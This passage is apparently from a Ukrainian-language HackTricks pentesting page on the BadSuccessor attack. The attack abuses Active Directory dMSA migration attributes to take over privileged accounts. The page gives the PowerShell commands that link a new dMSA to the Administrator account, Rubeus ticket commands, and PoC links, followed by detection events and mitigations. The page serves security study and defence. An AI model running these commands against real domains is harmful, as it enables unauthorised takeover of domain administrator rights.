`Complete-ADServiceAccountMigration`, і спирається на два атрибути LDAP об'єкта **dMSA**: + +* **`msDS-ManagedAccountPrecededByLink`** – *DN посилання* на попередній (старий) обліковий запис. +* **`msDS-DelegatedMSAState`** – стан міграції (`0` = немає, `1` = в процесі, `2` = *завершено*). + +Якщо зловмисник може створити **будь-який** dMSA всередині OU і безпосередньо маніпулювати цими 2 атрибутами, LSASS та KDC будуть розглядати dMSA як *наступника* пов'язаного облікового запису. Коли зловмисник потім аутентифікується як dMSA, **він успадковує всі привілеї пов'язаного облікового запису** – до **Domain Admin**, якщо обліковий запис адміністратора пов'язаний. + +Цю техніку назвали **BadSuccessor** в Unit 42 у 2025 році. На момент написання **жоден патч безпеки** не доступний; лише зміцнення дозволів OU пом'якшує проблему. + +### Передумови атаки + +1. Обліковий запис, якому *дозволено* створювати об'єкти всередині **Організаційної одиниці (OU)** *та* має принаймні один з: +* `Create Child` → **`msDS-DelegatedManagedServiceAccount`** клас об'єктів +* `Create Child` → **`All Objects`** (загальне створення) +2. Мережева підключеність до LDAP та Kerberos (стандартний сценарій приєднання до домену / віддалена атака). + +## Перерахунок вразливих OU + +Unit 42 випустила допоміжний скрипт PowerShell, який аналізує дескриптори безпеки кожної OU та підкреслює необхідні ACE: +```powershell +Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local +``` +Під капотом скрипт виконує пагінований LDAP пошук для `(objectClass=organizationalUnit)` і перевіряє кожен `nTSecurityDescriptor` на + +* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001) +* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (об'єкт класу *msDS-DelegatedManagedServiceAccount*) + +## Кроки експлуатації + +Як тільки знайдено записуваний OU, атака складається лише з 3 LDAP записів: +```powershell +# 1. Create a new delegated MSA inside the delegated OU +New-ADServiceAccount -Name attacker_dMSA \ +-DNSHostName host.contoso.local \ +-Path "OU=DelegatedOU,DC=contoso,DC=com" + +# 2. Point the dMSA to the target account (e.g. Domain Admin) +Set-ADServiceAccount attacker_dMSA -Add \ +@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"} + +# 3. Mark the migration as *completed* +Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2} +``` +Після реплікації зловмисник може просто **увійти** як `attacker_dMSA$` або запитати Kerberos TGT – Windows створить токен *попереднього* облікового запису. + +### Автоматизація + +Кілька публічних PoC обгортають весь робочий процес, включаючи отримання пароля та управління квитками: + +* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor) +* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) +* Модуль NetExec – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) + +### Пост-експлуатація +```powershell +# Request a TGT for the dMSA and inject it (Rubeus) +Rubeus asktgt /user:attacker_dMSA$ /password: /domain:contoso.local +Rubeus ptt /ticket: + +# Access Domain Admin resources +dir \\DC01\C$ +``` +## Виявлення та полювання + +Увімкніть **Аудит об'єктів** на OUs та моніторте наступні події безпеки Windows: + +* **5137** – Створення об'єкта **dMSA** +* **5136** – Модифікація **`msDS-ManagedAccountPrecededByLink`** +* **4662** – Зміни конкретних атрибутів +* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState` +* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink` +* **2946** – Видача TGT для dMSA + +Кореляція `4662` (модифікація атрибутів), `4741` (створення облікового запису комп'ютера/сервісу) та `4624` (наступний вхід) швидко виявляє активність BadSuccessor. Рішення XDR, такі як **XSIAM**, постачаються з готовими запитами (див. посилання). + +## Пом'якшення + +* Застосуйте принцип **найменших привілеїв** – делегуйте управління *обліковими записами сервісів* лише довіреним ролям. +* Видаліть `Create Child` / `msDS-DelegatedManagedServiceAccount` з OUs, які не потребують цього явно. +* Моніторте події з вказаними вище ідентифікаторами та сповіщайте про *не-Tier-0* особи, які створюють або редагують dMSA. + +## Дивіться також + +{{#ref}} +golden-dmsa-gmsa.md +{{#endref}} + +## Посилання + +- [Unit42 – Коли хороші облікові записи стають поганими: експлуатація делегованих облікових записів сервісів](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/) +- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor) +- [BadSuccessor.ps1 – Колекція інструментів для тестування на проникнення](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) +- [Модуль BadSuccessor для NetExec](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py) + +{{#include ../../banners/hacktricks-training.md}}